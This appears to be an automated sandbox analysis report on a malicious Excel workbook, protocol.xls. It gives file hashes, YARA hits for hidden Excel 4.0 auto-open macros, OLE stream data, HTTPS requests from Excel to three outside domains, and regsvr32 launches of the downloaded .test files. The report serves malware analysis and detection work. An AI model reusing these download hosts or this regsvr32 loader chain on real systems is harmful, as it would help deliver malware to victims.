                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\AppData\Local\Temp\~DF8E2EB8545C9796C0.TMP
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):512
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3::
                                                                                                                                                  MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                  SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                  SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                  SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:moderate, very likely benign file
                                                                                                                                                  Preview: ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\Desktop\protocol.xls
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Wed Oct 27 10:45:18 2021, Security: 0
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):84992
                                                                                                                                                  Entropy (8bit):6.331473382025725
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:1536:u5Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgA91vrVmxJiME2GhdD52lZPFu1AOgo+tn:gKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgJ
                                                                                                                                                  MD5:5E4E5599073533B590D2581F768BFEB6
                                                                                                                                                  SHA1:535B3C55198932C3AD4B0B9EF700C0FFC89F2C33
                                                                                                                                                  SHA-256:F09A55BBA389F7EEBCB587C40C1F0ADF3BF8FE12FB3B7D6556A8163BFD946E21
                                                                                                                                                  SHA-512:F2B21D55806B27944BEB6D792D4C0C9AF389248D604504493E4EEDDD08FC6663CAAEF2586CA945D3509BC5677DD9B86FA7544EAB09B17603C4C164B2F0AC94FC
                                                                                                                                                  Malicious:true
                                                                                                                                                  Yara Hits:
                                                                                                                                                  • Rule: SUSP_Excel4Macro_AutoOpen, Description: Detects Excel4 macro use with auto open / close, Source: C:\Users\user\Desktop\protocol.xls, Author: John Lambert @JohnLaTwC
                                                                                                                                                  • Rule: JoeSecurity_HiddenMacro, Description: Yara detected hidden Macro 4.0 in Excel, Source: C:\Users\user\Desktop\protocol.xls, Author: Joe Security
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....pratesh.=. B.....a.........=. .....................................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................

                                                                                                                                                  Static File Info

                                                                                                                                                  General

                                                                                                                                                  File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Wed Oct 27 10:45:18 2021, Security: 0
                                                                                                                                                  Entropy (8bit):6.330898760473774
                                                                                                                                                  TrID:
                                                                                                                                                  • Microsoft Excel sheet (30009/1) 78.94%
                                                                                                                                                  • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                                                                                                                  File name:protocol.xls
                                                                                                                                                  File size:84992
                                                                                                                                                  MD5:93383a84bdf0f5ff68b3bb6e30bcd2bb
                                                                                                                                                  SHA1:455bb88e45935daa21c2bf86e2b48da0d7627025
                                                                                                                                                  SHA256:ca641647b3e2102c7b8f0075f46d1e52618f9b597d4e5ca338dcfec8f1210c59
                                                                                                                                                  SHA512:97f48985f590843852b2a3e3cb4c1708d68ca1dec19e22c4a568d7dffc92a0cbb0b43ce473127f7017ed40e45583e7a80bd9d7da78d25af777edf00280c6782e
                                                                                                                                                  SSDEEP:1536:c5Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgA91vrVmxJiME2GhdD52lZPFu1AOgo+tO:KKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgI
                                                                                                                                                  File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                                                                                  File Icon

                                                                                                                                                  Icon Hash:74ecd4c6c3c6c4d8

                                                                                                                                                  Static OLE Info

                                                                                                                                                  General

                                                                                                                                                  Document Type:OLE
                                                                                                                                                  Number of OLE Files:1

                                                                                                                                                  OLE File "protocol.xls"

                                                                                                                                                  Indicators

                                                                                                                                                  Has Summary Info:True
                                                                                                                                                  Application Name:Microsoft Excel
                                                                                                                                                  Encrypted Document:False
                                                                                                                                                  Contains Word Document Stream:False
                                                                                                                                                  Contains Workbook/Book Stream:True
                                                                                                                                                  Contains PowerPoint Document Stream:False
                                                                                                                                                  Contains Visio Document Stream:False
                                                                                                                                                  Contains ObjectPool Stream:
                                                                                                                                                  Flash Objects Count:
                                                                                                                                                  Contains VBA Macros:True

                                                                                                                                                  Summary

                                                                                                                                                  Code Page:1251
                                                                                                                                                  Author:
                                                                                                                                                  Last Saved By:
                                                                                                                                                  Create Time:2015-06-05 18:19:34
                                                                                                                                                  Last Saved Time:2021-10-27 09:45:18
                                                                                                                                                  Creating Application:Microsoft Excel
                                                                                                                                                  Security:0

                                                                                                                                                  Document Summary

                                                                                                                                                  Document Code Page:1251
                                                                                                                                                  Thumbnail Scaling Desired:False
                                                                                                                                                  Company:
                                                                                                                                                  Contains Dirty Links:False
                                                                                                                                                  Shared Document:False
                                                                                                                                                  Changed Hyperlinks:False
                                                                                                                                                  Application Version:1048576

                                                                                                                                                  Streams

                                                                                                                                                  Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                  General
                                                                                                                                                  Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:4096
                                                                                                                                                  Entropy:0.517779757698
                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . t . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . S b u r 1 . . . . . S b u r 2 . . . . . S b u r 3 . . . . . K o n . . . . . D E F W 3 . . .
                                                                                                                                                  Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 74 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 31 01 00 00
                                                                                                                                                  Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                  General
                                                                                                                                                  Stream Path:\x5SummaryInformation
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:4096
                                                                                                                                                  Entropy:0.281100084596
                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . K . Y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                  Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00
                                                                                                                                                  Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 74302
                                                                                                                                                  General
                                                                                                                                                  Stream Path:Workbook
                                                                                                                                                  File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                  Stream Size:74302
                                                                                                                                                  Entropy:6.86519694707
                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                  Data ASCII:. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . . . 4 . < . 8 . = . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . .
                                                                                                                                                  Data Raw:09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 01 10 04 34 04 3c 04 38 04 3d 04 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

                                                                                                                                                  Network Behavior

                                                                                                                                                  Network Port Distribution

                                                                                                                                                  TCP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Oct 28, 2021 07:46:16.537430048 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.537476063 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:16.537552118 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.538430929 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.538458109 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:16.870755911 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:16.870845079 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.878987074 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.879010916 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:16.879240990 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:16.879308939 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.879956007 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:16.920878887 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.198676109 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.198793888 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.198832989 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:17.198864937 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:17.199069023 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:17.199091911 CEST44349744199.79.62.121192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.199110031 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:17.199148893 CEST49744443192.168.2.3199.79.62.121
                                                                                                                                                  Oct 28, 2021 07:46:17.369216919 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.369268894 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.369353056 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.370012045 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.370031118 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.679527998 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.679620028 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.688471079 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.688488960 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.688714981 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.688779116 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.689970970 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:17.732886076 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.518197060 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.518322945 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:19.518361092 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.518388987 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.518512964 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:19.520211935 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:19.520253897 CEST44349745162.241.2.103192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.520272970 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:19.520327091 CEST49745443192.168.2.3162.241.2.103
                                                                                                                                                  Oct 28, 2021 07:46:19.645770073 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.645837069 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.645955086 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.646569014 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.646596909 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.893863916 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.894006014 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.907059908 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.907083035 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.907368898 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.907485008 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.908868074 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:19.948874950 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:20.984030962 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:20.984152079 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:20.984280109 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:20.984313965 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:20.984661102 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:20.984689951 CEST44349746192.99.46.215192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:20.984743118 CEST49746443192.168.2.3192.99.46.215
                                                                                                                                                  Oct 28, 2021 07:46:20.984771013 CEST49746443192.168.2.3192.99.46.215

                                                                                                                                                  UDP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Oct 28, 2021 07:46:16.387759924 CEST5415453192.168.2.38.8.8.8
                                                                                                                                                  Oct 28, 2021 07:46:16.535312891 CEST53541548.8.8.8192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:17.216913939 CEST5280653192.168.2.38.8.8.8
                                                                                                                                                  Oct 28, 2021 07:46:17.367312908 CEST53528068.8.8.8192.168.2.3
                                                                                                                                                  Oct 28, 2021 07:46:19.542339087 CEST5391053192.168.2.38.8.8.8
                                                                                                                                                  Oct 28, 2021 07:46:19.643416882 CEST53539108.8.8.8192.168.2.3

                                                                                                                                                  DNS Queries

                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                  Oct 28, 2021 07:46:16.387759924 CEST192.168.2.38.8.8.80x94c0Standard query (0)maberic.comA (IP address)IN (0x0001)
                                                                                                                                                  Oct 28, 2021 07:46:17.216913939 CEST192.168.2.38.8.8.80x4c1eStandard query (0)ost.net.brA (IP address)IN (0x0001)
                                                                                                                                                  Oct 28, 2021 07:46:19.542339087 CEST192.168.2.38.8.8.80x8d28Standard query (0)atochagaleria.com.arA (IP address)IN (0x0001)

                                                                                                                                                  DNS Answers

                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                  Oct 28, 2021 07:46:16.535312891 CEST8.8.8.8192.168.2.30x94c0No error (0)maberic.com199.79.62.121A (IP address)IN (0x0001)
                                                                                                                                                  Oct 28, 2021 07:46:17.367312908 CEST8.8.8.8192.168.2.30x4c1eNo error (0)ost.net.br162.241.2.103A (IP address)IN (0x0001)
                                                                                                                                                  Oct 28, 2021 07:46:19.643416882 CEST8.8.8.8192.168.2.30x8d28No error (0)atochagaleria.com.ar192.99.46.215A (IP address)IN (0x0001)

                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                  • maberic.com
                                                                                                                                                  • ost.net.br
                                                                                                                                                  • atochagaleria.com.ar

                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  0192.168.2.349744199.79.62.121443C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2021-10-28 05:46:16 UTC0OUTGET /3XRJdBEjFc/l.html HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: maberic.com
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2021-10-28 05:46:17 UTC0INHTTP/1.1 200 OK
                                                                                                                                                  Date: Thu, 28 Oct 2021 05:46:17 GMT
                                                                                                                                                  Server: nginx/1.19.5
                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                  Content-Length: 0
                                                                                                                                                  X-Server-Cache: true
                                                                                                                                                  X-Proxy-Cache: HIT
                                                                                                                                                  Connection: close


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  1192.168.2.349745162.241.2.103443C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2021-10-28 05:46:17 UTC0OUTGET /toXuNS00/l.html HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: ost.net.br
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2021-10-28 05:46:19 UTC0INHTTP/1.1 200 OK
                                                                                                                                                  Date: Thu, 28 Oct 2021 05:46:17 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Upgrade: h2,h2c
                                                                                                                                                  Connection: Upgrade, close
                                                                                                                                                  Content-Length: 0
                                                                                                                                                  Content-Type: text/html; charset=UTF-8


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  2192.168.2.349746192.99.46.215443C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2021-10-28 05:46:19 UTC0OUTGET /CnijALAyxR/l.html HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: atochagaleria.com.ar
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2021-10-28 05:46:20 UTC1INHTTP/1.1 200 OK
                                                                                                                                                  Date: Thu, 28 Oct 2021 05:46:24 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  X-Powered-By: PHP/7.1.33
                                                                                                                                                  Cache-Control: max-age=2592000
                                                                                                                                                  Expires: Sat, 27 Nov 2021 05:46:24 GMT
                                                                                                                                                  Content-Length: 0
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=UTF-8


                                                                                                                                                  Code Manipulations

                                                                                                                                                  Statistics

                                                                                                                                                  CPU Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  Memory Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                  Behavior

                                                                                                                                                  Click to jump to process

                                                                                                                                                  System Behavior

                                                                                                                                                  General

                                                                                                                                                  Start time:07:47:02
                                                                                                                                                  Start date:28/10/2021
                                                                                                                                                  Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                  Imagebase:0xdf0000
                                                                                                                                                  File size:27110184 bytes
                                                                                                                                                  MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:07:47:09
                                                                                                                                                  Start date:28/10/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test
                                                                                                                                                  Imagebase:0xba0000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:07:47:10
                                                                                                                                                  Start date:28/10/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test
                                                                                                                                                  Imagebase:0xba0000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:07:47:10
                                                                                                                                                  Start date:28/10/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test
                                                                                                                                                  Imagebase:0xba0000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  Disassembly

                                                                                                                                                  Code Analysis

                                                                                                                                                  Reset < >